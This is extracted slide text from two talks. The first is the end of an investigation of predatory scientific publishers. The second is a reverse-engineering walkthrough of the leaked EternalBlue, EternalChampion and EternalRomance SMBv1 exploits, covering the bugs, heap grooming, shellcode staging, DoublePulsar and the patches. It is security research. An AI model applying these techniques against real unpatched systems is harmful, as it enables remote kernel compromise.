Features consist of whether the packet has the FIN, URG and PSH flags set and how fragmented the packet is overall. We extensively evaluated our algorithm on a diverse spectrum of corpora with 81,337 malicious packets and 48,183 legitimate packets. Our results offer a promising advance in addressing a vulnerability which has existed for nearly three decades. Who else? Scraping & Analyzing Scraping & Analyzing https://waset.org/abstracts/75907 Spider abstract pages 53,069 abstracts abstracts.csv Parse abstracts abstracts.csv ID 75907 Lead Author G. Gurguze Title Energy Management Techniques in Mobile Robots Pub Date 10/2/2017 Journal World Academy of Science, Engineering and Technology, International Journal of Energy and Power Engineering Issue 10 Vol 4 Direct Download Link http://waset.org/downloads/17/papers/17dk100073.pdf Pdf Link scholar.waset.org/1999.25/75907 Spider & Parse 50 subject areas Conferences.csv 44,476 conferences Cleaning the data - Erasing duplicates Cleaning the data - Remove indistinguishable Names Parsing PDFs Scraping & Analyzing 0 10000 20000 30000 40000 50000 60000 70000 Omics Waset Sciencedomain IOSR Journals SciPub Abstracts Articles 0 10000 20000 30000 40000 50000 60000 70000 Omics Waset Sciencedomain IOSR Journals SciPub Abstracts Articles 179,239 abstracts 400,000 authors All of them 95% Publishing in PP 5% Total number of scientists: 8 Million, UNESCO 2013 No All of them 95% Publishing in PP 5% but Total number of scientists: 8 Million, UNESCO 2013 No 0 5000 10000 15000 20000 25000 30000 35000 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 Omics Waset Sciencedomain IOSR Journals Scipub total *The sharp increase at WASET in 2014 can be partly explained with their publishing practice. As they started with publishing more abstracts online. Development in the past 10 years 0 2000 4000 6000 8000 10000 12000 14000 16000 Malaysia Turkey United Kingdom Egypt Japan Iran China Nigeria United States India Abstracts * Country item was defined by: 1. country, 2. phone number, 3. country code, 4. email ending .edu - possible misquote around 10% > 13,000* OMICS: 9,960 WASET: 2,873 0 5 10 15 20 25 30 35 40 45 50 Princeton Cornell Brown Columbia Harvard Yale Stanford Abstracts Publishing at WASET from 2008 to 2018. *After request, none of the mentioned universities provided a comment on the issue. Elite Universities "N.N." site:omicsonline.org OR site:sciencedomain.org OR site:omicsgrouponline.org OR site:waset.us OR site:waset.org OR site:waet.org OR site:academicjournals.org OR site:imed.pub OR site:thescipub.com OR site:austinpublishinggroup.com OR site:iosrjournals.org OR site:alliedacademies.com OR site:conferenceseries.com OR site:sciencepublishinggroup.com OR site:davidpublisher.org @sveckert Do it yourself: Publishing at Waset from 2008 to 2018. *After request, none of the mentioned universities provided a comment on the issue. • Authors piling • Many foreign students • Grant funded • Copy-paste papers • Scientifically questionable “Professors can benefit first of all from gaining higher salary at promotions.” Whistleblower from the CUNY case April 2018 *After request, CUNY did not comment on these allegations “Professors can benefit first of all from gaining higher salary at promotions.” “They can obtain sort of benefits like a summer salary.” Whistleblower from the CUNY case April 2018 *After request, CUNY did not comment on these allegations “They can get other benefits, stipends for research, they can get released time from teaching.” Whistleblower from the CUNY case April 2018 *After request, CUNY did not comment on these allegations “They can get other benefits, stipends for research, they can get released time from teaching.” “There's a benefit in creating a new image for themselves at the school by turning to these relatively easy publications.” Whistleblower from the CUNY case April 2018 *After request, CUNY did not comment on these allegations After request, CUNY did not provide comment on this issue. Lobby groups and companies What we found – Big Tobacco What we found – Big Tobacco What we found – Big Tobacco Philip Morris International did not provide comment to several Emails. What we found – Big Pharma „The addition of vitamin C is unnecessary“ German consumer protection agency Stiftung Warentest „Bayer publishes results of clinical studies in scientific publications that are reputable among experts“ Bayer Spokesperson What we found – Big Pharma „If you something, pregnant women are a great target audience. They are worried about their unborn child and want to make no mistakes. Only if such a product is better than other products, such a publication is scientifically relevant. But this is a standard product“. Professor Herber Fluhr, University of Heidelberg What we found – Big Pharma „The investigator (...) assume responsibility for all study aspects, including dissemination of study results in peer- reviewed publications.“ Mallinkrodt Spokesperson What we found – Lobby groups ISLI Europe did not reply to an Email. What we found – critical infrastructure „The scope of media publication as well as conference attendance of our experts is matter of constant monitoring and improvement“ Who’s behind it? Art by Francesco Ciccolella www.francescociccolella.com Video – “Let me call a lawyer” waset.org Waset.org using Cloudflare  …but shares tracking cookies with… Bora Ardil …which leads us to... Bora Ardil phpfreaks Bora Ardil Cemal Ardil …and... 83 x DNS names Bora has a lot of “conference” DNS names registered ~13 events in ~13 different cities each month ~5,000 “conferences” a month ~13 events in ~13 different cities each month ~5,000 “conferences” a month A year… 157 events 48 cities 35 countries 53,467 “conferences” in total London 12 35 countries Paris 12 Istanbul 12 Rome 10 € 3,851,100 est. annual revenue for WASET Art by Francesco Ciccolella www.francescociccolella.com $ 4,495,219 USD est. annual revenue for WASET Art by Francesco Ciccolella www.francescociccolella.com Listeners / visas ? Conclusions Art by Francesco Ciccolella www.francescociccolella.com „It is hard to tell at first if a conference is legitimate or not“ BFR Spokesperson Where do those studies get cited? German federal Institute for Risk Assessment Where do those studies get cited? Patents Where do those studies get cited? Climate change denial "No one ever peer reviewed Einstein's Theory of Relativity. What do you want me to say? It's an attempt to stall without considering the content of the studies." Michael Limburg, vice president, EIKE Implications for society Is everyone who published there a fraudster? Is all science published there automatically bad science? Image with permission from : Annica /dirtybandits.com Science influences: - Political decisions - Consumer behavior - Funding - Our perception of the world Image with permission from : Oscar Bolton Green Results so far… •Broad Debate in Society and Science (esp. Germany, Austria, France and South Korea) •Vast amount of Q&A and Tutorials about predatory publishing (esp. Institutions and universities) •Indian government promised to “end menace of predatory journals” What did the predatory publisher say to all that? “No comment” What did the predatory publisher say to all that? “Allegations are not true. There is a „peer review“. Editors and authors are carrying main responsibility.” What did the predatory publisher say to all that? “Allegations are not true. There is a „peer review“. Editors and authors are carrying main responsibility.” “OMICS is a platform” What did the predatory publisher say to all that? "Sciencedomain does not follow predatory publication process. We strongly protest any attempt to label Sciencedomain International as predatory publisher." Contact: @sveckert @tillkrause @5uggy Special thanks to: Peter Hornung Katrin Langhans Patrick Bauer Michael Ebert Katharina Kropshofer Britta von der Heide Felix Ebert Thorsten Wenning NDR,WDR,SZ-magazin and all contributing national and international partners. Timm Klotzek Andrew McPherson Patch Eudor Dominique Haase Vanessa Wormer Sebastian Pittelkow Katja Riedel Questions?
pdf
Eternal Exploits Reverse Engineering of FuzzBunch and MS17-010 zerosum0x0 August 1983 Warning! Presentation may contain classified information. Those with active security clearances are forewarned. TOP SECRET//SI/TK//NOFORN//ICATION//4201337//REL TO DEF CON Spot The Fed Champ 2018 Agenda ● Recap (~2 mins) ○ Equation Group (NSA) ○ Shadow Brokers ● SMBv1 Internals (~5 mins) ○ Network packets ○ Driver structures ● Exploits (~40 mins) ○ Blue ○ Champion ○ Romance ○ Synergy ● Payloads (~10 mins) ○ DoublePulsar ○ DarkPulsar ○ DanderSpritz SMBv1 Internals SMB Background ● Server Message Block ● 1983 - Invented by Barry Feigenbaum (IBM) ○ Also, NetBIOS ● Used EXTENSIVELY by Windows ○ "LanMan" ○ File Shares ● Extensible protocol ○ Transport for DCE/RPC ■ psexec Server Message Block (v1) ● Header Block ○ Command ○ Flags (request/reply, unicode) ○ Errno ○ Signature ○ UID/TID/PID/MID Server Message Block (v1) ● Header Block ○ Command ○ Flags (request/reply, unicode) ○ Errno ○ Signature ○ UID/TID/PID/MID ● Parameter Block ○ Contains a struct specific to the command ■ Fixed size WORD count Server Message Block (v1) ● Header Block ○ Command ○ Flags (request/reply, unicode) ○ Errno ○ Signature ○ UID/TID/PID/MID ● Parameter Block ○ Contains a struct specific to the command ■ Fixed size WORD count ● Data Block ○ Misc. arbitrary info for the command ■ Variable size BYTE count SMBv1 Dialects ● PC NETWORK PROGRAM 1.0 ● MICROSOFT NETWORKS 1.03 ● MICROSOFT NETWORKS 3.0 ● LANMAN1.0 ● Windows for Workgroups 3.1a ● LM1.2X002 ● LANMAN2.1 ● NT LM 0.12 ● Cairo Srv.sys - SMBv1 ● SrvWorkQueues ● SrvBlockingWorkQueues ○ Any operation that may take awhile ■ SMB is designed for speed Srv.sys - SMBv1 ● SrvWorkQueues ● SrvBlockingWorkQueues ○ Any operation that may take awhile ■ SMB is designed for speed ● WORK_CONTEXT ○ C union mega-struct SMB info Srv.sys - SMBv1 ● SrvWorkQueues ● SrvBlockingWorkQueues ○ Any operation that may take awhile ■ SMB is designed for speed ● WORK_CONTEXT ○ C union mega-struct SMB info ● SMB may be “restarted” multiple times ○ Send to a blocking thread ○ Wait for more data ○ Change FspStartRoutine, re-queue ■ Back of the line... SrvNet.sys - SMBv1/2/3 Networking ● Added in Vista+ ● Handles the networking (WSK) ○ 139 - NetBIOS ○ 445 - SMB Direct ● Registered handlers (undocumented, but trivial) ○ Srv.sys ○ Srv2.sys ● Library exports ○ Memory look-aside lists ○ Auth checks SMB Messages (of Interest) ● Negotiate ● Session Setup ● Tree Connect ● NT Create ● Transactions struct CONNECTION { // ... SMB_DIALECT SmbDialect; // ... UNICODE_STRING ClientOSType; UNICODE_STRING ClientLanManType; // ... }; struct SESSION { // ... PCONNECTION Connection; // ... UNICODE_STRING UserName; UNICODE_STRING UserDomain; // ... USHORT MaxBufferSize; USHORT Uid; // ... BOOLEAN IsNullSession; BOOLEAN IsAdmin; // ... }; Administrative Trees (Shares) ● $ = generally hidden from UI ● C$ ● D$ ● ADMIN$ ○ C:\Windows\ ○ Administrator login required ● IPC$ ○ Interprocess Communication Share ■ i.e. also, sometimes access to certain named pipes ○ Often, anonymous login allowed struct TREECONNECT { // ... USHORT Tid; // ... }; Transaction Life Cycle ● “IOCTL” ○ Perform variety of functions ■ Mostly file-system related ● Can be too large for one SMB ○ Primary ■ Intermediary response ○ Secondary(s) ● "Executed" once all parts are received ○ Like db transactions ○ Final response Transaction Packet Layout ● An SMB inside an SMB ○ In addition to SMB Parameter/Data Blocks: ■ Transaction Setup ● For Primary trans ■ Transaction Parameter ■ Transaction Data Transaction Type Processing ● Trans (Trans1) ○ Mailslots ○ MS-RAP ● Trans2 ○ >8.3 shortnames ○ OS/2 to NT file stuff ○ Processed similar to Trans1 ● NT Trans ○ Transaction Parameter/Data sizes ■ USHORT -> ULONG ● WriteAndX Primary Transaction Data+Parameter ● Offset ○ How far into this SMB the TRANS data/parameter blocks begin ParameterOffset DataOffset Primary Transaction Data+Parameter ● Offset ○ How far into this SMB the TRANS data/parameter blocks begin ● Count ○ How much is in this particular SMB ParameterOffset DataOffset ParameterCount DataCount Primary Transaction Data+Parameter ● Offset ○ How far into this SMB the TRANS data/parameter blocks begin ● Count ○ How much is in this particular SMB ● TotalCount ○ How much will be sent over all Primary/Secondary SMB ParameterOffset DataOffset ParameterCount DataCount TotalParameterCount TotalDataCount Primary Transaction Data+Parameter ● Offset ○ How far into this SMB the TRANS data/parameter blocks begin ● Count ○ How much is in this particular SMB ● TotalCount ○ How much will be sent over all Primary/Secondary SMB ● MaxCount ○ Maximum client buffer size to reserve for TRANS response ParameterOffset DataOffset ParameterCount DataCount TotalParameterCount TotalDataCount MaxParameterCount MaxDataCount Secondary Transaction Data+Parameter ● Offset ○ How far into this SMB the TRANS data/parameter blocks begin ● Count ○ How much is in this particular SMB ● TotalCount ○ "MAY" be less than or equal to Primary SMB ● Displacement ○ An offset where to begin write operation into the server buffer ■ Generally, the cumulative total of preceding Primary+Secondary Count(s) ParameterDisplacement DataDisplacement struct TRANSACTION { // ... PCONNECTION Connection; PSESSION Session; PTREECONNECT TreeConnect; // ... PCHAR InParameters; PCHAR OutParameters; // often: = InParameters PCHAR InData; PCHAR OutData; // often: = InData // ... USHORT Tid; USHORT Pid; USHORT Uid; USHORT OtherInfo; // MID (...or, FID) // ... }; _TRANSACTION Memory ● SrvAllocateTransaction() ○ MIN alloc size = 0x5000 ■ Except, Trans1.Setup == 0 ○ MAX alloc size = 0x10400 ■ STATUS_INSUFF_SERVER_RESOURCES _TRANSACTION Memory ● SrvAllocateTransaction() ○ MIN alloc size = 0x5000 ■ Except, Trans1.Setup == 0 ○ MAX alloc size = 0x10400 ■ STATUS_INSUFF_SERVER_RESOURCES ● SrvFindTransaction() ○ UID - server, const ○ TID - server, const ○ PID - client, const ○ OtherInfo ■ MID - client, arbitrary ■ FID - server, const Reference Counted Memory Blocks ● WORK_CONTEXT ● CONNECTION ● SESSION ● TREECONNECT ● TRANSACTION EternalBlue Extended Attributes (EA) ● Name/Value key-pair ○ Metadata attached to files Extended Attributes (EA) ● Name/Value key-pair ○ Metadata attached to files ● OS/2 v1.2 ○ Joint Microsoft/IBM OS ○ HPFS Extended Attributes (EA) ● Name/Value key-pair ○ Metadata attached to files ● OS/2 v1.2 ○ Joint Microsoft/IBM OS ○ HPFS ● Windows NT ○ NTFS ■ Alternate Data Streams ○ WSL ■ Linux filesystem emulation ● permissions, i.e. 0777 ● Case-sensitivity Extended Attributes (EA) ● Name/Value key-pair ○ Metadata attached to files ● OS/2 v1.2 ○ Joint Microsoft/IBM OS ○ HPFS ● Windows NT ○ NTFS ■ Alternate Data Streams ○ WSL ■ Linux filesystem emulation ● permissions, i.e. 0777 ● Case-sensitivity ● FEA vs. GEA ○ FEA = name+value ○ GEA = name OS/2 FEA struct FEA { BYTE fEA; // "Flags" = 0x0 or 0x80 BYTE cbName; WORD cbValue; // CHAR szName[cbName]; // null-terminator // BYTE chValue[cbValue]; // no null-terminator }; #define FEA_SIZE(ea) \ (sizeof(FEA) + (ea)->cbName + 1 + (ea)->cbValue) OS/2 FEALIST struct FEALIST { ULONG cbList; // 32-bit size FEA list[]; // Loop over all using NEXT_FEA() }; #define NEXT_FEA(ea) \ (char*)ea + FEA_SIZE(ea) NT FEA struct FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; UCHAR Flags; // 0x0 or 0x80 UCHAR EaNameLength; USHORT EaValueLength; // CHAR EaName[EaNameLength]; // null-terminated // BYTE EaValue[EaValueLength]; // not // BYTE Alignment[+3 & ~3]; // align DWORD }; NT FEA(LIST) struct FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; // Parse list until == 0 UCHAR Flags; // 0x0 or 0x80 UCHAR EaNameLength; USHORT EaValueLength; // CHAR EaName[EaNameLength]; // null-terminated // BYTE EaValue[EaValueLength]; // not // BYTE Alignment[+3 & ~3]; // align DWORD }; Bug #1 - Integer Cast Error ULONG FEALIST.cbList; SmbPutUshort(&FeaList->cbList, PTR_DIFF_SHORT(fea, FeaList)); Bug #1 - Integer Cast Error ULONG FEALIST.cbList; SmbPutUshort(&FeaList->cbList, PTR_DIFF_SHORT(fea, FeaList)); Win7 HIDWORD LODWORD Attacker 0001 0000 Valid Size Vuln Size NT Buffer Size Bug #1 - Integer Cast Error ULONG FEALIST.cbList; SmbPutUshort(&FeaList->cbList, PTR_DIFF_SHORT(fea, FeaList)); Win7 HIDWORD LODWORD Attacker 0001 0000 Valid Size 0000 ff5d Vuln Size NT Buffer Size Bug #1 - Integer Cast Error ULONG FEALIST.cbList; SmbPutUshort(&FeaList->cbList, PTR_DIFF_SHORT(fea, FeaList)); Win7 HIDWORD LODWORD Attacker 0001 0000 Valid Size 0000 ff5d Vuln Size 0001 ff5d NT Buffer Size Bug #1 - Integer Cast Error ULONG FEALIST.cbList; SmbPutUshort(&FeaList->cbList, PTR_DIFF_SHORT(fea, FeaList)); Win7 0x1ff5d (OS/2) > 0x10fe8 (NT) HIDWORD LODWORD Attacker 0001 0000 Valid Size 0000 ff5d Vuln Size 0001 ff5d NT Buffer Size 0001 0fe8 Assembly Analysis x86/x64 ARM Itanium DEC ALPHA packet Trans2_Open2_Parameters { USHORT Flags; USHORT AccessMode; USHORT Reserved1; SMB_FILE_ATTRIBUTES FileAttributes; UTIME CreationTime; USHORT OpenMode; ULONG AllocationSize; USHORT Reserved[5]; SMB_STRING FileName; }; packet Trans2_Open2_Data { SMB_FEA_LIST ExtendedAttributeList; }; Bug #2 - Oversized Trans/Trans2 Requests ● Need to send > WORD data ○ Bug trigger 0x10000 > 0xffff ● Trans2_Open2 is WORD ○ NT Trans allows DWORD! ● Can trick transaction dispatch tables ○ They all become generic _TRANSACTION ○ Primary transaction type doesn't matter ■ Final Secondary transaction Bug #3 - Session Setup Allocation Error ● NT Security vs. Extended Security ○ 13 words vs. 12 words ● Certain flag values can confuse it ○ Reads SMB_DATA_BLOCK size at wrong offset ○ Can reserve large memory ■ Same pool tag as FEA: LSbf ● Free on demand ○ Close client socket ● Not really a "vuln" itself ○ Still in master branch EternalBlue NonPagedPool Ingredients ● FEALIST overflow ○ Exploit ● Session Setup bug ○ Allocation ○ Hole ● SrvNet.sys network buffers ○ Primary Grooms ○ Secondary Grooms ○ FAKE SMB2 ■ IDS bypass? EternalBlue Grooming ● Step 0. Pre-Exploitation Memory Layout ○ SrvNet has lookaside memory, random stuff is in the pool Free pool memory Random pool memory SrvNet look-aside buffers SrvNet "groom" buffer Session setup "allocation" buffer Session setup "hole" buffer Exploit OS/2 to NT FEA overflow EternalBlue Grooming ● Step 1. Send all of FEALIST except last Trans2 secondary ○ The NT FEA Buffer will not be reserved yet Free pool memory Random pool memory SrvNet look-aside buffers SrvNet "groom" buffer Session setup "allocation" buffer Session setup "hole" buffer Exploit OS/2 to NT FEA overflow EternalBlue Grooming ● Step 2. Send initial N grooms ○ Use up all of SrvNet look-aside, forcing new pool allocations Free pool memory Random pool memory SrvNet look-aside buffers SrvNet "groom" buffer Session setup "allocation" buffer Session setup "hole" buffer Exploit OS/2 to NT FEA overflow EternalBlue Grooming ● Step 2. Send initial N grooms ○ Use up all of SrvNet look-aside, forcing new pool allocations Free pool memory Random pool memory SrvNet look-aside buffers SrvNet "groom" buffer Session setup "allocation" buffer Session setup "hole" buffer Exploit OS/2 to NT FEA overflow EternalBlue Grooming ● Step 2. Send initial N grooms ○ Use up all of SrvNet look-aside, forcing new pool allocations Free pool memory Random pool memory SrvNet look-aside buffers SrvNet "groom" buffer Session setup "allocation" buffer Session setup "hole" buffer Exploit OS/2 to NT FEA overflow EternalBlue Grooming ● Step 2. Send initial N grooms ○ Use up all of SrvNet look-aside, forcing new pool allocations Free pool memory Random pool memory SrvNet look-aside buffers SrvNet "groom" buffer Session setup "allocation" buffer Session setup "hole" buffer Exploit OS/2 to NT FEA overflow EternalBlue Grooming ● Step 2. Send initial N grooms ○ Use up all of SrvNet look-aside, forcing new pool allocations Free pool memory Random pool memory SrvNet look-aside buffers SrvNet "groom" buffer Session setup "allocation" buffer Session setup "hole" buffer Exploit OS/2 to NT FEA overflow EternalBlue Grooming ● Step 2. Send initial N grooms ○ Use up all of SrvNet look-aside, forcing new pool allocations Free pool memory Random pool memory SrvNet look-aside buffers SrvNet "groom" buffer Session setup "allocation" buffer Session setup "hole" buffer Exploit OS/2 to NT FEA overflow EternalBlue Grooming ● Step 3. Send allocation connection ○ Session Setup bug SMALLER than NT FEA Buffer Size Free pool memory Random pool memory SrvNet look-aside buffers SrvNet "groom" buffer Session setup "allocation" buffer Session setup "hole" buffer Exploit OS/2 to NT FEA overflow EternalBlue Grooming ● Step 4. Send hole buffer connection ○ Session Setup bug SAME SIZE as NT FEA Buffer Size Free pool memory Random pool memory SrvNet look-aside buffers SrvNet "groom" buffer Session setup "allocation" buffer Session setup "hole" buffer Exploit OS/2 to NT FEA overflow EternalBlue Grooming ● Step 5. Close allocation connection ○ Memory slot can now hold smaller miscellaneous allocations Free pool memory Random pool memory SrvNet look-aside buffers SrvNet "groom" buffer Session setup "allocation" buffer Session setup "hole" buffer Exploit OS/2 to NT FEA overflow EternalBlue Grooming ● Step 5. Close allocation connection ○ Memory slot can now hold smaller miscellaneous allocations Free pool memory Random pool memory SrvNet look-aside buffers SrvNet "groom" buffer Session setup "allocation" buffer Session setup "hole" buffer Exploit OS/2 to NT FEA overflow EternalBlue Grooming ● Step 6. Send final groom packets ○ Hopefully a groom is after the Hole buffer Free pool memory Random pool memory SrvNet look-aside buffers SrvNet "groom" buffer Session setup "allocation" buffer Session setup "hole" buffer Exploit OS/2 to NT FEA overflow EternalBlue Grooming ● Step 6. Send final groom packets ○ Hopefully a groom is after the Hole buffer Free pool memory Random pool memory SrvNet look-aside buffers SrvNet "groom" buffer Session setup "allocation" buffer Session setup "hole" buffer Exploit OS/2 to NT FEA overflow EternalBlue Grooming ● Step 6. Send final groom packets ○ Hopefully a groom is after the Hole buffer Free pool memory Random pool memory SrvNet look-aside buffers SrvNet "groom" buffer Session setup "allocation" buffer Session setup "hole" buffer Exploit OS/2 to NT FEA overflow EternalBlue Grooming ● Step 6. Send final groom packets ○ Hopefully a groom is after the Hole buffer Free pool memory Random pool memory SrvNet look-aside buffers SrvNet "groom" buffer Session setup "allocation" buffer Session setup "hole" buffer Exploit OS/2 to NT FEA overflow EternalBlue Grooming ● Step 6. Close Hole connection ○ Memory the same size as NT FEA Buffer is now available Free pool memory Random pool memory SrvNet look-aside buffers SrvNet "groom" buffer Session setup "allocation" buffer Session setup "hole" buffer Exploit OS/2 to NT FEA overflow EternalBlue Grooming ● Step 7. Send final FEALIST exploit fragment ○ Erroneously calculated to fit in the free Hole buffer, overflows into groom Free pool memory Random pool memory SrvNet look-aside buffers SrvNet "groom" buffer Session setup "allocation" buffer Session setup "hole" buffer Exploit OS/2 to NT FEA overflow struct _SRVNET_BUFFER { // ... SRVNET_WSK_STRUCT* WskContext; // ... MDL MDL1; // MapSysVa = &Buffer MDL MDL2; CHAR Buffer[]; }; struct _SRVNET_BUFFER { // ... SRVNET_WSK_STRUCT* WskContext; // ... MDL MDL1; // MapSysVa = &HAL MDL MDL2; CHAR Buffer[]; }; struct _SRVNET_BUFFER { // ... SRVNET_WSK_STRUCT* WskContext; // ... MDL MDL1; // MapSysVa = &HAL MDL MDL2; CHAR Buffer[]; }; struct _SRVNET_BUFFER { // ... SRVNET_WSK_STRUCT* WskContext; // ... MDL MDL1; // MapSysVa = &HAL MDL MDL2; CHAR Buffer[]; }; struct _SRVNET_WSK_STRUCT { // ... PVOID FunctionTable[]; // ... }; struct _SRVNET_WSK_STRUCT { // ... PVOID FunctionTable[]; // ... }; struct _SRVNET_WSK_STRUCT { // ... PVOID FunctionTable[]; // ... }; EternalBlue payload EternalBlue payload 1. Hook syscall handler ○ DISPATCH_LEVEL IRQL ■ Many routines are off limits EternalBlue payload 1. Hook syscall handler ○ DISPATCH_LEVEL IRQL ■ Many routines are off limits 2. On next syscall… ○ Transition from user mode ○ Run DOUBLEPULSAR backdoor ■ SrvTransaction2DispatchTable EternalBlue payload 1. Hook syscall handler ○ DISPATCH_LEVEL IRQL ■ Many routines are off limits 2. On next syscall… ○ Transition from user mode ○ Run DOUBLEPULSAR backdoor ■ SrvTransaction2DispatchTable 3. Restore syscall handler EternalBlue Patch SrvOs2FeaListSizeToNt(): SmbPutUshort(&FeaList->cbList, PTR_DIFF_SHORT(fea, FeaList)); EternalBlue Patch SrvOs2FeaListSizeToNt(): SmbPutUlong (&FeaList->cbList, PTR_DIFF_LONG(fea, FeaList)); EternalChampion Race Condition ● TRANSACTION.Executing ○ BOOLEAN locking mechanism ○ Checked during Secondary transactions ■ NOT SET if Primary has all data! Race Condition ● TRANSACTION.Executing ○ BOOLEAN locking mechanism ○ Checked during Secondary transactions ■ NOT SET if Primary has all data! ● Modify executing TRANSACTION! ○ Info leak on single-core ○ Stack overwrite on multi-core Race Condition ● TRANSACTION.Executing ○ BOOLEAN locking mechanism ○ Checked during Secondary transactions ■ NOT SET if Primary has all data! ● Modify executing TRANSACTION! ○ Info leak on single-core ○ Stack overwrite on multi-core ● CHAMPION ○ CHAMPIONS WIN RACES! Leak a TRANSACTION ● Need a SMB which echos back Data ○ MS-RAP ■ WNetAccountSync ■ NetServerEnum2 ○ NT_RENAME ■ Requires valid FID ● Primary Trans ○ Data > CONNECTION.MaxBufferSize ■ Requires restart (multiple response SMB) ■ Always winrar a Race! ● Secondary Trans sends more data ○ Increases DataCount ○ Use Displacement=0 SrvSmbQueryPathInformation(WorkContext) { UNICODE_STRING objectName; if (subCommand == SMB_INFO_QUERY_EA_SIZE) { SrvQueueWorkToBlockingThread(WorkContext); return SmbTransStatusInProgress; } if (subCommand == SMB_INFO_IS_NAME_VALID) { transaction->InData = &objectName; } // ... } SrvSmbQueryPathInformation(WorkContext) { UNICODE_STRING objectName; if (subCommand == SMB_INFO_QUERY_EA_SIZE) { SrvQueueWorkToBlockingThread(WorkContext); return SmbTransStatusInProgress; } if (subCommand == SMB_INFO_IS_NAME_VALID) { transaction->InData = &objectName; } // ... } STEP 1 SrvSmbQueryPathInformation(WorkContext) { UNICODE_STRING objectName; if (subCommand == SMB_INFO_QUERY_EA_SIZE) { SrvQueueWorkToBlockingThread(WorkContext); return SmbTransStatusInProgress; } if (subCommand == SMB_INFO_IS_NAME_VALID) { transaction->InData = &objectName; } // ... } STEP 2 STEP 1 Overwrite RIP/EIP to Shellcode ● After SMB_INFO_IS_NAME_VALID, send another secondary trans ○ Displacement = stack offset ● Overwrite RET WorkerThread to Stage 0 Shellcode DataDisplacement = offset RWX Shellcode Location ● No DEP (x86) ○ Write at LEAKED TRANSACTION->InData ● DEP (x64) ○ Write at LEAKED TRANSACTION->CONNECTION.ClientOSName ■ I.E. same Session Setup bug used in EBlue EternalChampion RCE Trigger ● 8 SMB per TCP packet Trans2 SMB_INFO_QUERY_EA_SIZE Restart Trans2 Secondary SMB_INFO_IS_NAME_VALID InData = &stack Trans2 Secondary DataDisplacement Overwrite RET EternalChampion RCE Trigger ● 8 SMB per TCP packet ● 8 packets per attempt Trans2 SMB_INFO_QUERY_EA_SIZE Restart Trans2 Secondary SMB_INFO_IS_NAME_VALID InData = &stack Trans2 Secondary DataDisplacement Overwrite RET EternalChampion RCE Trigger ● 8 SMB per TCP packet ● 8 packets per attempt ● 42 attempts Trans2 SMB_INFO_QUERY_EA_SIZE Restart Trans2 Secondary SMB_INFO_IS_NAME_VALID InData = &stack Trans2 Secondary DataDisplacement Overwrite RET EternalChampion Shellcode 1. Loop CONNECTION.TransactionList ○ Find special identifier at start of Data buffer ■ AKA: egghunter EternalChampion Shellcode 1. Loop CONNECTION.TransactionList ○ Find special identifier at start of Data buffer ■ AKA: egghunter 2. Copy primary payload from egg (DOUBLEPULSAR) ○ Access to pool functions ■ Can allocate large RWX space ○ Execute main stage EternalChampion Shellcode 1. Loop CONNECTION.TransactionList ○ Find special identifier at start of Data buffer ■ AKA: egghunter 2. Copy primary payload from egg (DOUBLEPULSAR) ○ Access to pool functions ■ Can allocate large RWX space ○ Execute main stage 3. ++SrvBlockingWorkQueues->AvailableThreads EternalChampion Shellcode 1. Loop CONNECTION.TransactionList ○ Find special identifier at start of Data buffer ■ AKA: egghunter 2. Copy primary payload from egg (DOUBLEPULSAR) ○ Access to pool functions ■ Can allocate large RWX space ○ Execute main stage 3. ++SrvBlockingWorkQueues->AvailableThreads 4. KPCR->Prcb.CurrentThread->StartAddress ○ Use global kernel data structures ○ Resume execution ■ JMP to srv!WorkerThread() loop EternalChampion Patch SrvSmbTransaction/SrvSmbNtTransaction(): if (all_data_received) { ExecuteTransaction(transaction); } else { // send interim response } EternalChampion Patch SrvSmbTransaction/SrvSmbNtTransaction(): if (all_data_received) { transaction->Executing = TRUE; ExecuteTransaction(transaction); } else { // send interim response } EternalRomance PTRANSACTION SrvFindTransaction ( IN PCONNECTION Connection, IN PSMB_HEADER SmbHeader, IN USHORT Fid OPTIONAL) { if (SmbHeader->Command == SMB_COM_WRITE_ANDX) OtherInfo = Fid; else OtherInfo = SmbHeader->Mid; // search TransactionList by UID/TID/PID/OtherInfo } SrvSmbWriteAndX ( PWORK_CONTEXT ) { transaction = SrvFindTransaction(connection, header, fid); if (writeMode & SMB_WMODE_WRITE_RAW_NAMED_PIPE) { RtlCopyMemory(transaction->InData, ...); transaction->InData += writeLength; transaction->DataCount += writeLength; } } Type Confusion Sequence Type Confusion Sequence Type Confusion Sequence Pointer Shift Sequence Pointer Shift Sequence Pointer Shift Sequence Pointer Shift Sequence Info Leak ● Bug #1 - TRANS_PEEK_NMPIPE ○ Expects MaxParameterCount=16 ■ But takes client value ○ MaxParameterCount to fill min. Space ○ MaxDataCount=1 Info Leak ● Bug #1 - TRANS_PEEK_NMPIPE ○ Expects MaxParameterCount=16 ■ But takes client value ○ MaxParameterCount to fill min. Space ○ MaxDataCount=1 ● Bug #2 - DataCount > MaxDataCount ○ Put >1 data in pipe ○ Peek Paged Pool Grooming Methods 1. Fish-in-a-Barrel ○ “Remote API” (MS-RAP) ■ Fish/Dynamite 2. Matched Pairs ○ “Lattice” ■ Brides/Grooms → Romance? 3. Classic ○ “Sandwich” ■ Frag/Padding ● Each: 3 exploit attempts Fish-In-A-Barrel ● SrvXsPortMemoryHeap - 1MiB ○ Private heap, Pre-allocated ■ No fighting in the paged pool with other kernel allocations ○ MS-RAP transactions only, Rarely used ■ Babby's first heap feng shui ● Removed in 7+ ○ SMAP? ○ privesc?? Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) Fish-In-A-Barrel Free Heap memory Fish (victim) Dynamite (exploit) 